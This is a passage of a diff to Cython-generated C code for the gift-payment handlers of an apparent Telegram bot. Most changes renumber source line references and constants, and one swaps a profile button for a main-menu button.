__Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_button); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 262, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 260, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 262, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_SHARE_GIFT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 260, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_SHARE_GIFT); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 260, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 262, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_switch_inline_query, __pyx_cur_scope->__pyx_v_share_text) < 0) __PYX_ERR(0, 260, __pyx_L6_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 260, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_switch_inline_query, __pyx_cur_scope->__pyx_v_share_text) < 0) __PYX_ERR(0, 262, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -8199,22 +8240,22 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine } __pyx_L17:; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_button); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 261, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_button); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 263, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 261, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 263, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 261, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_MAIN_MENU); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 263, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 261, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 263, __pyx_L6_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 261, __pyx_L6_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 261, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 263, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 263, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_adjust); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 262, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_adjust); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 264, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -8234,25 +8275,25 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_int_1}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_11, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 262, __pyx_L6_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 264, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 264, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 266, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_11 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 265, __pyx_L6_error) + __pyx_t_11 = __Pyx_PyDict_NewPresized(3); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 267, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_11); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 265, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 267, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_target_message, __pyx_t_3) < 0) __PYX_ERR(0, 265, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_target_message, __pyx_t_3) < 0) __PYX_ERR(0, 267, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_message_text) < 0) __PYX_ERR(0, 265, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_cur_scope->__pyx_v_message_text) < 0) __PYX_ERR(0, 267, __pyx_L6_error) - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 267, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 269, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_10 = NULL; __pyx_t_4 = 0; @@ -8272,14 +8313,14 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine PyObject *__pyx_callargs[2] = {__pyx_t_10, NULL}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 267, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 269, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } - if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 265, __pyx_L6_error) + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 267, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 264, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 266, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; @@ -8309,12 +8350,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_9); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 264, __pyx_L6_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 266, __pyx_L6_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 264, __pyx_L6_error) + else __PYX_ERR(0, 266, __pyx_L6_error) } } @@ -8333,7 +8374,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_t_13 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_13) { __Pyx_AddTraceback("handlers.payments.gift.finalize_gift_handler", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_11, &__pyx_t_2) < 0) __PYX_ERR(0, 270, __pyx_L8_except_error) + if (__Pyx_GetException(&__pyx_t_3, &__pyx_t_11, &__pyx_t_2) < 0) __PYX_ERR(0, 272, __pyx_L8_except_error) __Pyx_XGOTREF(__pyx_t_3); __Pyx_XGOTREF(__pyx_t_11); __Pyx_XGOTREF(__pyx_t_2); @@ -8342,42 +8383,42 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_cur_scope->__pyx_v_e = __pyx_t_11; /*try:*/ { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 271, __pyx_L24_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 273, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 271, __pyx_L24_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 273, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 272, __pyx_L24_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 274, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_14 = PyTuple_New(3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 272, __pyx_L24_error) + __pyx_t_14 = PyTuple_New(3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 274, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_15 = 0; __pyx_t_16 = 127; - __Pyx_INCREF(__pyx_kp_u__29); + __Pyx_INCREF(__pyx_kp_u__27); __pyx_t_16 = (65535 > __pyx_t_16) ? 65535 : __pyx_t_16; __pyx_t_15 += 31; - __Pyx_GIVEREF(__pyx_kp_u__29); - PyTuple_SET_ITEM(__pyx_t_14, 0, __pyx_kp_u__29); - __pyx_t_17 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 272, __pyx_L24_error) + __Pyx_GIVEREF(__pyx_kp_u__27); + PyTuple_SET_ITEM(__pyx_t_14, 0, __pyx_kp_u__27); + __pyx_t_17 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_e, __pyx_empty_unicode); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 274, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_17); __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) : __pyx_t_16; __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_17); __Pyx_GIVEREF(__pyx_t_17); PyTuple_SET_ITEM(__pyx_t_14, 1, __pyx_t_17); __pyx_t_17 = 0; - __Pyx_INCREF(__pyx_kp_u__30); + __Pyx_INCREF(__pyx_kp_u__28); __pyx_t_16 = (65535 > __pyx_t_16) ? 65535 : __pyx_t_16; __pyx_t_15 += 30; - __Pyx_GIVEREF(__pyx_kp_u__30); - PyTuple_SET_ITEM(__pyx_t_14, 2, __pyx_kp_u__30); - __pyx_t_17 = __Pyx_PyUnicode_Join(__pyx_t_14, 3, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 272, __pyx_L24_error) + __Pyx_GIVEREF(__pyx_kp_u__28); + PyTuple_SET_ITEM(__pyx_t_14, 2, __pyx_kp_u__28); + __pyx_t_17 = __Pyx_PyUnicode_Join(__pyx_t_14, 3, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 274, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_17) < 0) __PYX_ERR(0, 272, __pyx_L24_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_17) < 0) __PYX_ERR(0, 274, __pyx_L24_error) __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; - __pyx_t_17 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 271, __pyx_L24_error) + __pyx_t_17 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 273, __pyx_L24_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -8422,12 +8463,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_17generator5(__pyx_Coroutine __pyx_t_11 = __pyx_cur_scope->__pyx_t_5; __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_11); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 271, __pyx_L24_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 273, __pyx_L24_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 271, __pyx_L24_error) + else __PYX_ERR(0, 273, __pyx_L24_error) } } } @@ -8581,7 +8622,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 278, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 280, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -8589,14 +8630,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 278, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 280, __pyx_L3_error) else { - __Pyx_RaiseArgtupleInvalid("inline_gift_handler", 1, 2, 2, 1); __PYX_ERR(0, 278, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("inline_gift_handler", 1, 2, 2, 1); __PYX_ERR(0, 280, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "inline_gift_handler") < 0)) __PYX_ERR(0, 278, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "inline_gift_handler") < 0)) __PYX_ERR(0, 280, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 2)) { goto __pyx_L5_argtuple_error; @@ -8609,7 +8650,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("inline_gift_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 278, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("inline_gift_handler", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 280, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -8648,7 +8689,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18inline_gift_handler(CYTHON if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct_6_inline_gift_handler *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 278, __pyx_L1_error) + __PYX_ERR(0, 280, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -8659,7 +8700,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_18inline_gift_handler(CYTHON __Pyx_INCREF(__pyx_cur_scope->__pyx_v_session); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_session); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_20generator6, __pyx_codeobj__31, (PyObject *) __pyx_cur_scope, __pyx_n_s_inline_gift_handler, __pyx_n_s_inline_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 278, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_20generator6, __pyx_codeobj__29, (PyObject *) __pyx_cur_scope, __pyx_n_s_inline_gift_handler, __pyx_n_s_inline_gift_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 280, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -8719,7 +8760,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 278, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 280, __pyx_L1_error) { __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); @@ -8728,12 +8769,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_inline_query, __pyx_n_s_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 282, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_inline_query, __pyx_n_s_query); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 284, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_replace); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 282, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_replace); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 284, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__33, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 282, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__31, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 284, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GIVEREF(__pyx_t_4); @@ -8744,7 +8785,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __Pyx_GIVEREF(__pyx_kp_u_SELECT_gift_link_selected_month); __pyx_cur_scope->__pyx_v_query = __pyx_kp_u_SELECT_gift_link_selected_month; - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_fetchrow); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 289, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_fetchrow); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 291, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; __pyx_t_7 = 0; @@ -8764,7 +8805,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine PyObject *__pyx_callargs[3] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_query, __pyx_cur_scope->__pyx_v_gift_id}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 2+__pyx_t_7); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 289, __pyx_L4_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 291, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } @@ -8794,25 +8835,25 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 289, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 291, __pyx_L4_error) __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); } else { __pyx_t_4 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 289, __pyx_L4_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 291, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); } __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_gift = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_gift); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 291, __pyx_L4_error) + __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_gift); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 293, __pyx_L4_error) __pyx_t_9 = (!__pyx_t_8); if (__pyx_t_9) { __Pyx_XDECREF(__pyx_r); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_inline_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 292, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_inline_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 294, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = PyList_New(0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 292, __pyx_L4_error) + __pyx_t_6 = PyList_New(0); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 294, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_10 = NULL; __pyx_t_7 = 0; @@ -8833,7 +8874,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 292, __pyx_L4_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 294, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } @@ -8863,11 +8904,11 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 292, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 294, __pyx_L4_error) __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); } else { __pyx_t_4 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 292, __pyx_L4_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 294, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); } __pyx_r = NULL; __Pyx_ReturnWithStopIteration(__pyx_t_4); @@ -8876,21 +8917,21 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_20generator6(__pyx_Coroutine } - __pyx_t_4 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_gift_link); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 294, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_gift_link); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 296, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_gift_link = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_selected_months); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 295, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_gift, __pyx_n_u_selected_months); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 297, __pyx_L4_error) 